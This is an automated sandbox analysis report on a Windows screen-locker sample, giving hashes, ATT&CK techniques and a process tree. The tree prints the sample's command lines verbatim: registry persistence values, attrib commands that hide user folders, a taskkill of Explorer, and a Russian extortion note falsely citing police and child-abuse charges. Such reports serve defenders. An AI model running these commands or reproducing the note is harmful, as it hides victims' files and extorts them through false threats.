ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb

General

Target
ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Size 210KB
Sample261015-qv63rags21
SHA256 ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb
MD5 0bf9c0b1d4a43f5986fa08f087b04cae
SHA1 328b8542e3faeed47a959ab94ac2e4f1d39d2951
SHA512 10a1ed5bd4cbcd9e6181564ff149009e4b685e9310631cc95f51e5065e22f8017401f91e3f69ddd2985bde88ed35983c43e00b2b3322b9b5aca595e5125276c7
SSDEEP 6144:IEhfGkHBdZknRtjULx9aygCSCpMW90KImQijnfbCL:r++dij
TLSH
T18B244D98136AC93DC2BE27BED0A611060BF5B217D503E74CAFF8A0E66D37311A715A47
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery persistence

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe\""	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe

Adds Run key to start application 2 TTPs 13 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_8 = "crypt0rsx.exe"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsInstaller = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe\" -startup"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MSEdgeUpdateX = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe\""	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\System3264Wow = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe\" --init"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\OneDrive10293 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe\" /setup"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\WINDOWS = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe\" --wininit"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_1 = "AWindowsService.exe"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_2 = "taskhost.exe"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_3 = "windowsx-c.exe"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_4 = "System.exe"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_5 = "_default64.exe"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_6 = "native.exe"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_7 = "ux-cryptor.exe"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 6 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2076	cmd.exe
4232	cmd.exe
2052	cmd.exe
3820	cmd.exe
3292	cmd.exe
688	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
1864	taskkill.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1448	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1448	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Token: SeDebugPrivilege	1864	taskkill.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 1448 wrote to memory of 688	1448	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe	89
PID 1448 wrote to memory of 3292	1448	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe	90
PID 1448 wrote to memory of 3820	1448	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe	91
PID 1448 wrote to memory of 2052	1448	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe	92
PID 1448 wrote to memory of 4232	1448	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe	93
PID 1448 wrote to memory of 2076	1448	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe	94
PID 1448 wrote to memory of 1864	1448	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe	95
PID 4232 wrote to memory of 3252	4232	cmd.exe	116
PID 3820 wrote to memory of 2256	3820	cmd.exe	117
PID 3820 wrote to memory of 1528	3820	cmd.exe	118
PID 2076 wrote to memory of 1720	2076	cmd.exe	119
PID 2052 wrote to memory of 964	2052	cmd.exe	120
PID 688 wrote to memory of 4980	688	cmd.exe	121
PID 4232 wrote to memory of 4020	4232	cmd.exe	122
PID 3292 wrote to memory of 3036	3292	cmd.exe	123
PID 688 wrote to memory of 4880	688	cmd.exe	124
PID 2052 wrote to memory of 2972	2052	cmd.exe	125
PID 3292 wrote to memory of 4896	3292	cmd.exe	131
PID 2076 wrote to memory of 4436	2076	cmd.exe	132

Views/modifies file attributes 1 TTPs 12 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1528	attrib.exe
1720	attrib.exe
964	attrib.exe
4980	attrib.exe
3036	attrib.exe
4880	attrib.exe
4896	attrib.exe
4436	attrib.exe
3252	attrib.exe
2256	attrib.exe
4020	attrib.exe
2972	attrib.exe

C:\Users\Admin\AppData\Local\Temp\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
"C:\Users\Admin\AppData\Local\Temp\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe"
1⤵
- Modifies WinLogon for persistence
- Adds Run key to start application
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1448
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] компьютер был заблокирован властями за распространение детского порно,пиши в телеграм для разблокировки иначе твой компьютер расплавится+подарок все пароли и данные сольют включая твои голые фото 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:688
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:4980
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:4880
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] компьютер был заблокирован властями за распространение детского порно,пиши в телеграм для разблокировки иначе твой компьютер расплавится+подарок все пароли и данные сольют включая твои голые фото 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:3292
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:3036
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:4896
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] компьютер был заблокирован властями за распространение детского порно,пиши в телеграм для разблокировки иначе твой компьютер расплавится+подарок все пароли и данные сольют включая твои голые фото 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:3820
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:2256
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:1528
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] компьютер был заблокирован властями за распространение детского порно,пиши в телеграм для разблокировки иначе твой компьютер расплавится+подарок все пароли и данные сольют включая твои голые фото 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2052
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:964
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:2972
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] компьютер был заблокирован властями за распространение детского порно,пиши в телеграм для разблокировки иначе твой компьютер расплавится+подарок все пароли и данные сольют включая твои голые фото 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4232
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:3252
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:4020
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] компьютер был заблокирован властями за распространение детского порно,пиши в телеграм для разблокировки иначе твой компьютер расплавится+подарок все пароли и данные сольют включая твои голые фото 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2076
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:1720
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:4436
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill.exe /im Explorer.exe /f
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1864

C:\Users\Admin\AppData\Local\Temp\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
"C:\Users\Admin\AppData\Local\Temp\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe"
1⤵
PID:1656

C:\Users\Admin\AppData\Local\Temp\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
"C:\Users\Admin\AppData\Local\Temp\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe" /setup
1⤵
PID:4336

C:\Users\Admin\AppData\Local\Temp\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
"C:\Users\Admin\AppData\Local\Temp\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe" -startup
1⤵
PID:3724

C:\Users\Admin\AppData\Local\Temp\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
"C:\Users\Admin\AppData\Local\Temp\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe" --init
1⤵
PID:4592

C:\Users\Admin\AppData\Local\Temp\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
"C:\Users\Admin\AppData\Local\Temp\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe" --wininit
1⤵
PID:3380

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

2

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Winlogon Helper DLL

1

T1547.004

Privilege Escalation

Boot or Logon Autostart Execution

2

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Winlogon Helper DLL

1

T1547.004

Defense Evasion

Hide Artifacts

2

T1564

Hidden Files and Directories

Modify Registry

Credential Access

Discovery

System Network Configuration Discovery

1

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe.log
Size 1KB
SHA256 c897436c82fda9abf08b29fe05c42f4e59900116bbaf8bfd5b85ef3c97ab7884
MD5 2d2a235f1b0f4b608c5910673735494b
SHA1 23a63f6529bfdf917886ab8347092238db0423a0
SHA512 10684245497f1a115142d49b85000075eb36f360b59a0501e2f352c9f1d767c447c6c44c53a3fb3699402a15a8017bdbd2edd72d8599fdd4772e9e7cb67f3086
TLSH
T1C031DE712372B1D889163F431C2D2AC007BF4769B660EE0C7598625ED9260175F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

info-Locker.txt

Path C:\Users\Admin\Downloads\info-Locker.txt
Size 207B
SHA256 456be841d66fd5e80575f1fb4cdb3d7acf123f02659035162542f9c6f4cd2863
MD5 52be8a46289aca5ee2f85aaab5b71027
SHA1 ceca2397dea0d701b7a19c656842f6cbf0147ce4
SHA512 4036d34395c6be1f7a132265a1ef896de1aaddf511647404c65b59e7f700618195b90100f2873976ea39133c156db334fd1165597ee5260dd5054bf34ef47e6f
MD5 SHA1 SHA512

Submit Download

info-Locker.txt

Path C:\Users\Public\Desktop\info-Locker.txt
Size 207B
SHA256 f8eff84536704dea33376ca7edbdcb3569b71928c06e0fd1da49966f4334ddc5
MD5 7a890c82aa8a1f4d6a28645fbd8c71b3
SHA1 07bb4e5234aac20596b8e961fb846fd7f0282caa
SHA512 dff490666afe3795461db6616dd4b4d17154adcc2292289fed99e27496580394ac1d2aeba2980e17e9a97a5fe09b613cdb135479017b3376c8fc4ef1c60388ef
MD5 SHA1 SHA512

Submit Download

memory/1448-0-0x00000000006E0000-0x000000000071A000-memory.dmp

Download

memory/1448-1-0x000000001B410000-0x000000001B420000-memory.dmp

Download

memory/1448-19-0x000000001B410000-0x000000001B420000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads